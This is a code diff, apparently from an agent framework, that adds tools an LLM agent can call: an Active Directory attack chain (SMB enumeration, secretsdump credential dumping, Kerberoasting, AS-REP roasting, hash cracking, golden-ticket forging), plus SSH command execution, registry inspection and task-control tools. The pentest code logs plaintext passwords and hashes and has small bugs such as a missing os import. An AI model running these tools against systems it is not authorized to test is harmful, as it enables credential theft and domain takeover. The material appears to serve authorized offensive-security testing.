"""utility for rich printing logs""" + return rich.print(Panel(f"[white]{s}", title="[red1]Mythic", style="red1")) \ No newline at end of file diff --git a/dreadnode/agent/tools/pentest/internal/tool.py b/dreadnode/agent/tools/pentest/internal/tool.py new file mode 100644 index 00000000..cbe666ad --- /dev/null +++ b/dreadnode/agent/tools/pentest/internal/tool.py @@ -0,0 +1,711 @@ +import subprocess +import tempfile +import time + +from loguru import logger + + +def nmap_scan(target: str) -> str: + """ + Scans target IPs to classify them as Domain Controllers or Member Servers. + + Args: + target: IP addresses to scan + + Returns: + Output of nmap scan + + Example: + >>> result = nmap_scan("192.168.1.2") + """ + + cmd = ["nmap", "-T4", "-sS", "-sV", "--open"] + target.split(" ") + + try: + logger.info("[*] Scanning targets...") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) + + if result.returncode != 0: + logger.error(f"[!] Nmap scan failed: {result.stderr}") + return result.stderr + + logger.info(f"[*] Nmap scan completed for target {target}: {result.stdout}") + return result.stdout + + except subprocess.TimeoutExpired: + logger.error("Nmap scan timed out after 5 minutes") + return "Nmap scan timed out after 5 minutes" + except Exception as e: + logger.error(f"Scan failed: {e!s}") + return f"Scan failed: {e!s}" + + +def enumerate_users_netexec(target: str, username: str, password: str, domain: str) -> str: + """ + Enumerate users using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty string for null session) + password: Password for authentication (empty string for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_users_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--users") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info( + f"[*] Netexec user enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"User enumeration timed out for {target}") + except Exception as e: + logger.error( + f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"User enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + +def enumerate_shares_netexec( + target: str, domain: str, username: str = "", password: str = "" +) -> str: + """ + Enumerate shares using netexec (crackmapexec successor). + + Args: + target: IP address or hostname to enumerate + username: Username for authentication (empty for null session) + password: Password for authentication (empty for null session) + domain: Domain for authentication + + Returns: + String of netexec output + + Example: + >>> output = enumerate_shares_netexec("192.168.1.100", "user", "pass") + """ + + try: + # Build netexec command + cmd = ["netexec", "smb", target] + + if username and password: + cmd.extend(["-u", username, "-p", password]) + if domain: + cmd.extend(["-d", domain]) + else: + cmd.extend(["-u", "", "-p", ""]) + + cmd.append("--shares") + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + logger.info( + f"[*] Netexec share enumeration completed for target {target} username: {username} password: {password} domain: {domain} result: {result.stdout}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Share enumeration timed out for {target}") + except Exception as e: + logger.error( + f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + ) + return f"Share enumeration failed for {target} username: {username} password: {password} domain: {domain} error: {e}" + + return result.stdout + + +def enumerate_share_files( + target: str, + share_name: str, + username: str, + password: str, +) -> str: + """ + Recursively enumerate files in an SMB share looking for interesting files. + + Args: + target: Target IP address + share_name: Name of the SMB share (e.g., 'SYSVOL', 'all', 'C$') + username: Username for authentication + password: Password for authentication + + Returns: + String of smbclient output + """ + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + "recurse ON; ls", + ] + + logger.info(f"[*] Enumerating files in {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if result.returncode != 0: + logger.error(f"[!] Failed to list files: {result.stderr}") + return f"Failed to list files: {result.stderr}" + + except subprocess.TimeoutExpired: + logger.error(f"[!] File enumeration timed out for {share_path}") + return "File enumeration timed out" + except Exception as e: + logger.error(f"[!] Error during enumeration: {e!s}") + return f"Error during enumeration: {e!s}" + + return result.stdout + + +def download_file_content( + target: str, + share_name: str, + file_path: str, + username: str, + password: str, + max_size_mb: int = 5, +) -> str: + """ + Download and return the content of a file from an SMB share. + + Args: + target: Target IP address + share_name: Name of the SMB share + file_path: Path to the file within the share (e.g., 'script.ps1', 'folder/file.txt') + username: Username for authentication + password: Password for authentication + max_size_mb: Maximum file size to download in MB + + Returns: + Str with file content + """ + + share_path = f"//{target}/{share_name}" + + try: + cmd = [ + "smbclient", + share_path, + "-U", + f"{username}%{password}", + "-c", + f"get {file_path} /dev/stdout", + ] + + logger.info(f"[*] Downloading {file_path} from {share_path}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + + if result.returncode != 0: + logger.error(f"[!] Failed to download file: {result.stderr}") + return "Failed to download file: {result.stderr}" + + content = result.stdout + + logger.info(f"[+] Downloaded {len(content)} bytes from {file_path}") + + except subprocess.TimeoutExpired: + logger.error(f"[!] File download timed out for {file_path}") + return "File download timed out" + except Exception as e: + logger.error(f"[!] Error downloading file: {e!s}") + return f"Error downloading file: {e!s}" + + logger.info(f"[*] File download completed for {file_path} result: {content}") + return content + + +def secretsdump( + target: str, + username: str, + password: str | None = None, + hash: str | None = None, + domain: str | None = None, + no_pass: bool = False, + timeout_minutes: int = 10, +) -> str: + """ + Extract secrets using impacket-secretsdump for credential harvesting. Must provide either password, hash, or set no_pass to True. no_pass should only be used for kerberos golden ticketauthentication. + + Args: + target: Target IP address + username: Username with admin privileges + password: Password for the username (optional) + hash: NTLM hash for authentication (optional) + domain: Domain name (optional, can be inferred) + no_pass: If True, do not use a password for authentication + timeout_minutes: Maximum time to spend dumping + + Returns: + String of secretsdump output + """ + + cmd = ["/usr/bin/impacket-secretsdump"] + + if password and domain: + target_string = f"{domain}/{username}:{password}@{target}" + elif password and not domain: + target_string = f"{username}:{password}@{target}" + elif hash and domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{domain}/{username}@{target}" + elif hash and not domain: + cmd.extend(["-hashes", f":{hash}"]) + target_string = f"{username}@{target}" + # assumes golden ticket + elif no_pass: + cmd.extend(["-k", "-no-pass"]) + target_string = f"{username}@{target}" + else: + raise ValueError("Either password or hash or no_pass must be provided") + + cmd.append(target_string) + + try: + logger.info(f"[*] Running secretsdump on {target} with {username}") + logger.info(f"[*] Command: {cmd}") + + # Set up environment for Kerberos authentication if using golden ticket + env = os.environ.copy() if no_pass else None + if no_pass and env is not None: + env["KRB5CCNAME"] = "Administrator.ccache" + + result = subprocess.run( + cmd, check=False, capture_output=True, text=True, timeout=timeout_minutes * 60, env=env + ) + + except subprocess.TimeoutExpired: + return "[!] Secretsdump timed out" + except Exception as e: + return f"[!] Secretsdump error: {e}" + + logger.info(f"[*] Secretsdump completed for {target} with {username} result: {result.stdout}") + return result.stdout + + +def kerberoast( + domain: str, + username: str, + password: str, + dc_ip: str, +) -> str: + """ + Perform Kerberoasting attack to extract service account password hashes. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + + Returns: + String of kerberoasting output from impacket-GetUserSPNs + """ + + cmd = [ + "/usr/bin/impacket-GetUserSPNs", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + try: + logger.info(f"[*] Kerberoasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + return result.stdout + + except subprocess.TimeoutExpired: + return "Error: timeout" + + except Exception as e: + return f"Command failed: {e!s}" + + +def asrep_roast( + domain: str, + username: str, + password: str, + dc_ip: str, + output_file: str | None = None, + user_list: list[str] | None = None, +) -> str: + """ + Perform AS-REP roasting attack to find users without Kerberos pre-authentication. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username (for enumeration) + password: Password for the username + dc_ip: Domain controller IP address + output_file: Optional file to save hashes to + user_list: Optional list of specific users to check + + Returns: + String of asrep roasting output from impacket-GetNPUsers + """ + + cmd = [ + "/usr/bin/impacket-GetNPUsers", + f"{domain}/{username}:{password}", + "-dc-ip", + dc_ip, + "-request", + ] + + if output_file: + cmd.extend(["-outputfile", output_file]) + + temp_userfile = None + if user_list: + temp_userfile = f"/tmp/asrep_users_{domain.replace('.', '_')}.txt" + with open(temp_userfile, "w") as f: + f.write("\n".join(user_list)) + cmd.extend(["-usersfile", temp_userfile]) + + try: + logger.info(f"[*] AS-REP roasting {domain} using {username}:{password}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=60) + return result.stdout + + except subprocess.TimeoutExpired: + return "Error: Command timed out after 60 seconds" + except Exception as e: + return f"Command failed: {e!s}" + finally: + # Ensure temp file cleanup + if temp_userfile and os.path.exists(temp_userfile): + os.remove(temp_userfile) + + +def hashcat( + hash_value: str, + hashcat_mode: int = 13100, + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, +) -> str: + """ + Attempt to crack a password hash using hashcat. + + Args: + hash_value: Hash to crack + hashcat_mode: Hashcat mode to use + wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) + max_time_minutes: Maximum time to spend cracking + + Returns: + String output from hashcat including cracked passwords + + Example: + >>> result = hashcat_crack("aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76", + ... 1000, "/usr/share/wordlists/rockyou.txt") + """ + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + cmd = [ + "hashcat", + "-m", + str(hashcat_mode), + "-a", + "0", + hash_file_path, + wordlist_path, + "--runtime", + str(max_time_minutes * 60), + "--force", + ] + + result = subprocess.run( + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + show_cmd = ["hashcat", "-m", str(hashcat_mode), hash_file_path, "--show"] + + show_result = subprocess.run( + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output = "\nCracked passwords (--show):\n" + show_result.stdout + + logger.info(f"[*] Hashcat completed for {hash_value} result: {output}") + return output + + finally: + if os.path.exists(hash_file_path): + os.unlink(hash_file_path) + + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" + + +def john_the_ripper( + hash_value: str, + hash_format: str = "krb5asrep", + wordlist_path: str = "/usr/share/wordlists/rockyou.txt", + max_time_minutes: int = 10, +) -> str: + """ + Attempt to crack a password hash using John the Ripper. + + Args: + hash_value: Hash to crack + hash_format: John hash format to use (e.g., 'krb5asrep', 'krb5tgs', 'ntlm', 'md5') + wordlist_path: Path to wordlist file (default: /usr/share/wordlists/rockyou.txt) + max_time_minutes: Maximum time to spend cracking + + Returns: + String output from john + + Example: + >>> result = john_crack("$krb5asrep$23$john.oliver@CC...", + ... "krb5asrep", "/usr/share/wordlists/rockyou.txt") + """ + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".hash", delete=False) as hash_file: + hash_file.write(hash_value) + hash_file_path = hash_file.name + + try: + cmd = [ + "john", + "--wordlist=" + wordlist_path, + "--format=" + hash_format, + hash_file_path, + ] + + session_name = f"john_session_{int(time.time())}" + cmd.extend(["--session=" + session_name]) + + subprocess.run( + cmd, + check=False, + capture_output=True, + text=True, + timeout=(max_time_minutes * 60) + 30, + ) + + show_cmd = ["john", "--show", "--format=" + hash_format, hash_file_path] + + show_result = subprocess.run( + show_cmd, + check=False, + capture_output=True, + text=True, + timeout=30, + ) + + if show_result.stdout.strip(): + output = "\nCracked passwords:\n" + show_result.stdout + logger.info(f"[*] John the Ripper completed for {hash_value} result: {output}") + return output + + finally: + if os.path.exists(hash_file_path): + os.unlink(hash_file_path) + + session_files = [ + f"{session_name}.pot", + f"{session_name}.rec", + f"{session_name}.log", + ] + for session_file in session_files: + if os.path.exists(session_file): + try: + os.unlink(session_file) + except Exception: + pass + + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" + + +def domain_admin_checker( + targets: str, + username: str, + password: str = "", + hash: str = "", +) -> str: + """ + Check if a user is a domain admin by checking output of whoami. + + Args: + targets: IP address or addresses to check + username: Username for authentication + password: Password for authentication (optional) + hash: NTLM hash for authentication (optional) + + Returns: + String of domain admin checker output + + Example: + >>> output = domain_admin_checker("192.168.1.100 192.168.1.101 192.168.1.102", "user", password="pass", hash="hash") + """ + + try: + cmd = ["netexec", "smb"] + targets.split(" ") + + if password: + print(f"[*] Domain admin checker using password for {username}") + cmd.extend(["-u", username, "-p", password]) + elif hash: + print(f"[*] Domain admin checker using hash for {username}") + cmd.extend(["-u", username, "-H", hash]) + + cmd.extend(["-x", "whoami"]) + + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + if result.returncode != 0: + logger.error(f"[!] Domain admin checker failed: {result.stderr}") + output = f"Command failed (return code {result.returncode}): {result.stderr}" + else: + output = "" + if result.stdout: + output += result.stdout + if result.stderr: + if output: + output += "\n" + result.stderr + else: + output = result.stderr + + logger.info( + f"[*] Domain admin checker completed for target {targets} username: {username} password: {password} hash: {hash} result: {output}" + ) + + except subprocess.TimeoutExpired: + raise TimeoutError(f"Domain admin checker timed out for {targets}") + except Exception as e: + logger.error( + f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + ) + return f"Domain admin checker failed for {targets} username: {username} password: {password} hash: {hash} error: {e}" + + return output + + +def get_sid( + domain: str, + username: str, + password: str, +) -> str: + """ + Get the SID of a user. + + Args: + domain: Target domain (e.g., 'xx.yy.local') + username: Valid domain username + password: Password for the username + + Returns: + String of get_sid output + + Example: + >>> output = get_sid("domainname.local", "user.name", "mypassword1234") + """ + + cmd = ["impacket-lookupsid", f"{username}:{password}@{domain}"] + + try: + logger.info(f"[*] Getting SID for {domain} using {username}:{password}") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + logger.info(f"[*] SID output for {domain} is {result.stdout}") + logger.info(f"[*] SID error for {domain} is {result.stderr}") + return result.stdout + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" + + +def generate_golden_ticket( + krbtgt_hash: str, + domain_sid: str, + domain: str, + extra_sid: str, +) -> str: + """ + Generate a golden ticket for Administrator. + + Args: + krbtgt_hash: NTLM hash of the krbtgt account + domain_sid: SID of the domain + domain: Domain to generate a ticket for (e.g., "domain.local"), same domain from domain_sid and krbtgt_hash + extra_sid: Extra SID to add to the ticket, from the target domain + + Returns: + String of generate_golden_ticket output + + Example: + >>> output = generate_golden_ticket("longhash", "user.name", "S-1-5-###SID", "domain.local", "S-1-5-###SID-519", "500") + """ + + cmd = [ + "impacket-ticketer", + "-nthash", + krbtgt_hash, + "-domain-sid", + domain_sid, + "-domain", + domain, + "-extra-sid", + extra_sid, + "-user-id", + "500", + "Administrator", + ] + + try: + logger.info("[*] Generating golden ticket for Administrator") + logger.info(f"[*] Command: {cmd}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) + + return result.stdout + except subprocess.TimeoutExpired: + return "Error: Command timed out" + except Exception as e: + return f"Error: {e!s}" diff --git a/dreadnode/agent/tools/skopeo/__init__.py b/dreadnode/agent/tools/skopeo/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/skopeo/tool.py b/dreadnode/agent/tools/skopeo/tool.py new file mode 100644 index 00000000..c5438f5f --- /dev/null +++ b/dreadnode/agent/tools/skopeo/tool.py @@ -0,0 +1,156 @@ +import json +import subprocess +import tarfile +import typing as t +import zlib +from io import BytesIO +from pathlib import Path + +import httpx + +from dreadnode.agent.tools.base import Toolset, tool_method + + +class Skopeo(Toolset): + """ + Tools for inspecting Microsoft Container Registry images via skopeo + httpx. + """ + + name = "Skopeo" + + registry: str = "mcr.microsoft.com" + chunk_size: int = 10 * 1024 + max_attempts: int = 10 + default_out_dir: str = "/workspace/out" + + def _run(self, cmd: str) -> subprocess.CompletedProcess: + cmd_list = cmd.split() if isinstance(cmd, str) else cmd + return subprocess.run(cmd_list, shell=False, capture_output=True, check=False) + + def _skopeo_json(self, args: str) -> dict[str, t.Any]: + cp = self._run(f"skopeo {args}") + if cp.returncode != 0: + raise RuntimeError(cp.stderr.decode() or "skopeo failed") + return json.loads(cp.stdout or "{}") + + def _peek_docker_layer(self, repo: str, digest: str) -> list[str]: + """ + Progressive, partial Range reads of a gzipped tar layer to list file names without + downloading the whole blob. + """ + files: list[str] = [] + bytes_read: int = 0 + chunk_size = self.chunk_size + buffer = BytesIO() + url = f"https://{self.registry}/v2/{repo}/blobs/{digest}" + + for _ in range(self.max_attempts): + range_end = bytes_read + chunk_size - 1 + headers = {"Range": f"bytes={bytes_read}-{range_end}"} + chunk_size *= 2 + + with httpx.get(url, headers=headers, stream=True) as r: + if r.status_code not in (200, 206): + break + buffer.seek(0, 2) + buffer.write(r.content) + bytes_read += len(r.content) + buffer.seek(0) + + # GZip magic w/ lax checksum handling + decompressed = zlib.decompressobj(16 + zlib.MAX_WBITS).decompress(buffer.read()) + decompressed_buffer = BytesIO(decompressed) + + try: + with tarfile.open(mode="r|", fileobj=decompressed_buffer) as tar: + try: + tar.getmembers() # type: ignore[attr-defined] + return [m.name for m in tar.members] + except tarfile.ReadError as e: + if "unexpected end of data" in str(e): + return [m.name for m in tar.members] + except tarfile.ReadError: + continue + + return files + + @tool_method( + name="list_tags", + description="List available tags for a repo, e.g. repo='dotnet/runtime'.", + ) + def list_tags(self, repo: str) -> list[str]: + data = self._skopeo_json(f"list-tags docker://{self.registry}/{repo}") + return data.get("Tags", []) + + @tool_method( + name="get_manifest", + description="Get manifest (skopeo inspect) for repo[:tag]. Defaults to latest (last tag).", + ) + def get_manifest(self, repo: str, tag: str | None = None) -> dict[str, t.Any]: + if not tag: + tags = self.list_tags(repo) + if not tags: + raise ValueError("No tags found") + tag = tags[-1] + manifest = self._skopeo_json(f"inspect docker://{self.registry}/{repo}:{tag}") + + # Save manifest to default output directory + Path.mkdir(self.default_out_dir, exist_ok=True) + + # Save the manifest to a file + save_path = Path(self.default_out_dir).joinpath( + f"{repo.replace('/', '_')}_manifest.json" + ) + with save_path.open("w") as f: + json.dump(manifest, f, indent=2) + + return f"manifest saved to {save_path}" + + @tool_method( + name="get_config", + description="Get config (skopeo inspect --config) for repo[:tag]. Defaults to latest (last tag).", + ) + def get_config(self, repo: str, tag: str | None = None) -> dict[str, t.Any]: + if not tag: + tags = self.list_tags(repo) + if not tags: + raise ValueError("No tags found") + tag = tags[-1] + return self._skopeo_json(f"inspect --config docker://{self.registry}/{repo}:{tag}") + + @tool_method( + name="list_files_in_latest", + description="Peek each layer of the LATEST tag and return a mapping of layer digest -> file paths.", + ) + def list_files_in_latest(self, repo: str) -> dict[str, list[str]]: + manifest = self.get_manifest(repo) + layers = manifest.get("Layers", []) + out: dict[str, list[str]] = {} + for digest in layers: + out[digest] = self._peek_docker_layer(repo, digest) + return out + + @tool_method( + name="download_latest_layers", + description="Download all layers for the LATEST tag into an output directory (extracts tar.gz layers).", + ) + def download_latest_layers(self, repo: str, out_dir: str | None = None) -> str: + out_dir = out_dir or self.default_out_dir + Path.mkdir(out_dir, exist_ok=True) + + manifest = self.get_manifest(repo) + layers = manifest.get("Layers", []) + if not layers: + return f"No layers found for {repo}" + + for digest in layers: + url = f"https://{self.registry}/v2/{repo}/blobs/{digest}" + try: + with httpx.get(url, stream=True) as r: + r.raise_for_status() + with tarfile.open(fileobj=BytesIO(r.content)) as tar: + tar.extractall(out_dir, filter="data") + except (httpx.HTTPError, tarfile.TarError, OSError) as e: + return f"Failed on {digest}: {e}. Extracted so far to {out_dir}" + + return f"Extracted {len(layers)} layer(s) to {out_dir}" \ No newline at end of file diff --git a/dreadnode/agent/tools/ssh/__init__.py b/dreadnode/agent/tools/ssh/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/ssh/tool.py b/dreadnode/agent/tools/ssh/tool.py new file mode 100644 index 00000000..268b4c36 --- /dev/null +++ b/dreadnode/agent/tools/ssh/tool.py @@ -0,0 +1,123 @@ +import shlex +from typing import Annotated + +import paramiko +from pydantic import BaseModel, Field, PrivateAttr + +from dreadnode.agent.tools import Toolset, tool_method + + +def _q(s: str) -> str: + return shlex.quote(s) + + +class SSHConn(BaseModel): + host: Annotated[str, "Remote host or IP"] + user: Annotated[str, "SSH username"] + password: Annotated[str | None, "SSH password (omit if using key)"] = None + key_path: Annotated[str | None, "Path to private key (PEM/OpenSSH)"] = None + port: Annotated[int, "SSH port"] = 22 + + @property + def key(self) -> str: + return f"{self.user}@{self.host}:{self.port}" + + +class SSHTools(Toolset): + profiles: dict[str, SSHConn] = Field(default_factory=dict, description="Saved SSH profiles") + default_profile: str | None = Field(default=None, description="Default profile name") + _clients: dict[str, paramiko.SSHClient] = PrivateAttr(default_factory=dict) + + # --- internals --- + def _resolve_conn(self, conn: SSHConn | None, profile: str | None) -> SSHConn: + if conn is not None: + return conn + name = profile or self.default_profile + if not name or name not in self.profiles: + raise ValueError("Provide `conn` or an existing `profile` (or set `default_profile`).") + return self.profiles[name] + + def _client(self, c: SSHConn) -> paramiko.SSHClient: + if c.key not in self._clients: + cli = paramiko.SSHClient() + cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + cli.connect( + c.host, + port=c.port, + username=c.user, + password=c.password, + key_filename=c.key_path, + look_for_keys=not bool(c.key_path), + allow_agent=True, + timeout=15, + ) + self._clients[c.key] = cli + return self._clients[c.key] + + def _run( + self, cli: paramiko.SSHClient, cmd: str, timeout: int | None = None + ) -> tuple[int, str, str]: + stdin, stdout, stderr = cli.exec_command(cmd, timeout=timeout) + out = stdout.read().decode(errors="replace").strip() + err = stderr.read().decode(errors="replace").strip() + rc = stdout.channel.recv_exit_status() + return rc, out, err + + # --- meta: let the LLM set a profile once --- + @tool_method( + name="ssh.configure", + description="Save a connection under a profile; optionally set as default.", + catch=True, + ) + def configure( + self, + profile: Annotated[str, "Profile name to save"], + conn: Annotated[SSHConn, "Connection settings to store"], + *, + make_default: Annotated[bool, "Also set as default profile?"] = True, + ) -> dict: + self.profiles[profile] = conn + if make_default: + self.default_profile = profile + return {"success": True, "profiles": list(self.profiles), "default": self.default_profile} + + # --- exec: takes either conn or profile --- + @tool_method(name="ssh.exec", description="Run a shell command via SSH.", catch=True) + def exec( + self, + command: Annotated[str, "Shell command to execute remotely"], + conn: Annotated[SSHConn | None, "Inline connection (optional)"] = None, + profile: Annotated[str | None, "Use a saved profile name (optional)"] = None, + ) -> dict: + c = self._resolve_conn(conn, profile) + cli = self._client(c) + rc, out, err = self._run(cli, command) + return {"success": rc == 0, "code": rc, "output": out, "error": err or None} + + @tool_method( + name="tmux.create", description="Create a tmux session if not present.", catch=True + ) + def tmux_create( + self, session: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + return self.exec( + f"tmux has-session -t {_q(session)} || tmux new-session -d -s {_q(session)}", conn=c + ) + + @tool_method(name="tmux.send", description="Send one line to tmux session.", catch=True) + def tmux_send( + self, session: str, line: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + s, line_quoted = _q(session), _q(line) + return self.exec( + f"tmux send-keys -t {s} -l {line_quoted} \\; tmux send-keys -t {s} Enter", conn=c + ) + + @tool_method(name="tmux.capture", description="Capture pane text from session.", catch=True) + def tmux_capture( + self, session: str, conn: SSHConn | None = None, profile: str | None = None + ) -> dict: + c = self._resolve_conn(conn, profile) + return self.exec(f"tmux capture-pane -pt {_q(session)}", conn=c) \ No newline at end of file diff --git a/dreadnode/agent/tools/task/__init__.py b/dreadnode/agent/tools/task/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/task/finish.py b/dreadnode/agent/tools/task/finish.py new file mode 100644 index 00000000..ad712b4b --- /dev/null +++ b/dreadnode/agent/tools/task/finish.py @@ -0,0 +1,41 @@ +from loguru import logger + +from dreadnode import log_metric, log_output +from dreadnode.agent.reactions import Fail, Finish +from dreadnode.agent.tools.base import tool +from dreadnode.data_types import Markdown + + +@tool +async def mark_complete(success: bool, summary: str) -> None: # noqa: FBT001 + """ + Mark your task as complete with a success/failure status and markdown summary of actions taken. + + ## When to Use This Tool + This tool should be called under the following circumstances: + 1. **All TODOs are complete**: If you are managing todos, every task in your TODO list has been marked as 'completed'. + 2. **No more actions**: You have no further actions to take and have addressed all aspects of the user's request. + 3. **Irrecoverable failure**: You have encountered an error that you cannot resolve, and there are no further steps you can take. + 4. **Final Summary**: You are ready to provide a comprehensive summary of all actions taken. + + ## When NOT to Use This Tool + Do not use this tool if: + 2. **You are in the middle of a multi-step process**: The overall task is not yet finished. + 3. **A recoverable error has occurred**: You should first attempt to fix the error through all available means. + 4. **You are waiting for user feedback**: The task is paused, not finished. + + ## Best Practices + * **Final Step**: This should be the absolute last tool you call. Once invoked, your task is considered finished. + * **Honest Status**: Accurately report the success or failure of the overall task. If any part of the task failed or was not completed, `success` should be `False`. + * **Comprehensive Summary**: The `summary` should be a complete and detailed markdown-formatted report of everything you did, including steps taken, tools used, and the final outcome. This is your final report to the user. + """ + + log_func = logger.success if success else logger.warning + log_func(f"Agent finished the task (success={success}):") + logger.info(summary) + logger.info("---") + + log_metric("task_success", success) + log_output("task_summary", Markdown(summary)) + + raise Finish if success else Fail("Agent marked the task as failed.") \ No newline at end of file diff --git a/dreadnode/agent/tools/task/quit.py b/dreadnode/agent/tools/task/quit.py new file mode 100644 index 00000000..1a481e9d --- /dev/null +++ b/dreadnode/agent/tools/task/quit.py @@ -0,0 +1,15 @@ +from loguru import logger + +from dreadnode import log_metric, log_output +from dreadnode.agent.tools.base import tool +from dreadnode.data_types import Markdown + + +@tool +async def give_up(reason: str) -> None: + """ + Give up on your task. + """ + logger.info(f"Agent gave up on the task: {reason}") + log_output("complete_task_summary", Markdown(f"## Gave up on task\n\n{reason}")) + log_metric("agent_marked_complete", 1) \ No newline at end of file diff --git a/dreadnode/agent/tools/task/review.py b/dreadnode/agent/tools/task/review.py new file mode 100644 index 00000000..9679a5a1 --- /dev/null +++ b/dreadnode/agent/tools/task/review.py @@ -0,0 +1,35 @@ +from loguru import logger + +from dreadnode import log_metric, log_output, tag +from dreadnode.agent.tools.base import tool +from dreadnode.data_types import Markdown + + +@tool +async def highlight_for_review(title: str, interest_level: str, justification: str) -> str: + """ + Flags a potential area of interest for a human operator to review. + + This is your primary tool for surfacing leads. Use it when you discover something + anomalous, high-value, or potentially vulnerable that warrants human attention. + + `interest_level` should be one of: + - "high": Urgent. Potential for immediate impact (e.g., exposed login, sensitive keywords). + - "medium": Interesting. Warrants follow-up (e.g., dev subdomain, unusual tech stack). + - "low": Informational. Good context but not an immediate priority (e.g., interesting directory found). + + `justification` should be a structured technical markdown explanation of *why* this is + interesting and what the potential next steps for a human could be. + """ + + interest_level = interest_level.lower().strip() + if interest_level not in ["high", "medium", "low"]: + interest_level = "medium" # Default to medium if invalid + + logger.success(f"Area of Interest - '{title}' [{interest_level}]:\n{justification}\n---") + + tag(f"interest/{interest_level}") + log_output("markdown", Markdown(f"# {title} ({interest_level})\n\n{justification}")) + log_metric("count", 1, mode="count") + + return "Area of interest has been highlighted for human review. Continue analysis." \ No newline at end of file diff --git a/dreadnode/agent/tools/task/todo.py b/dreadnode/agent/tools/task/todo.py new file mode 100644 index 00000000..423941cb --- /dev/null +++ b/dreadnode/agent/tools/task/todo.py @@ -0,0 +1,112 @@ +import typing as t +from collections import Counter + +from loguru import logger +from pydantic import BaseModel, Field + +from dreadnode import log_metric, log_output +from dreadnode.agent.tools.base import tool + + +class TodoItem(BaseModel): + """Represents a single task in the todo list.""" + + id: str = Field( + ..., description="A unique identifier for the todo item (e.g., a UUID or a simple number)." + ) + content: str = Field(..., min_length=1, description="The descriptive content of the task.") + status: t.Literal["pending", "in_progress", "completed"] = Field( + ..., description="The current status of the task." + ) + priority: t.Literal["high", "medium", "low"] = Field( + ..., description="The priority level of the task." + ) + + +@tool +def update_todo(todos: t.Annotated[list[TodoItem], "The full, updated list of todo items."]) -> str: + """ + Use this tool to create and manage a structured task list for your current session. + This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user. + It also helps the user understand the progress of the task and overall progress of their requests. + + ## When to Use This Tool + Use this tool proactively in these scenarios: + + 1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions + 2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations + 3. User explicitly requests todo list - When the user directly asks you to use the todo list + 4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated) + 5. After receiving new instructions - Immediately capture user requirements as todos + 6. When you start working on a task - Mark it as in_progress BEFORE beginning work. Ideally you should only have one todo as in_progress at a time + 7. After completing a task - Mark it as completed and add any new follow-up tasks discovered during implementation + + ## When NOT to Use This Tool + + Skip using this tool when: + 1. There is only a single, straightforward task + 2. The task is trivial and tracking it provides no organizational benefit + 3. The task can be completed in less than 3 trivial steps + 4. The task is purely conversational or informational + + NOTE that you should not use this tool if there is only one trivial task to do. In this case you are better off just doing the task directly. + + ## Task States and Management + + 1. **Task States**: Use these states to track progress: + - pending: Task not yet started + - in_progress: Currently working on (limit to ONE task at a time) + - completed: Task finished successfully + + 2. **Task Management**: + - Update task status in real-time as you work + - Mark tasks complete IMMEDIATELY after finishing (don't batch completions) + - Only have ONE task in_progress at any time + - 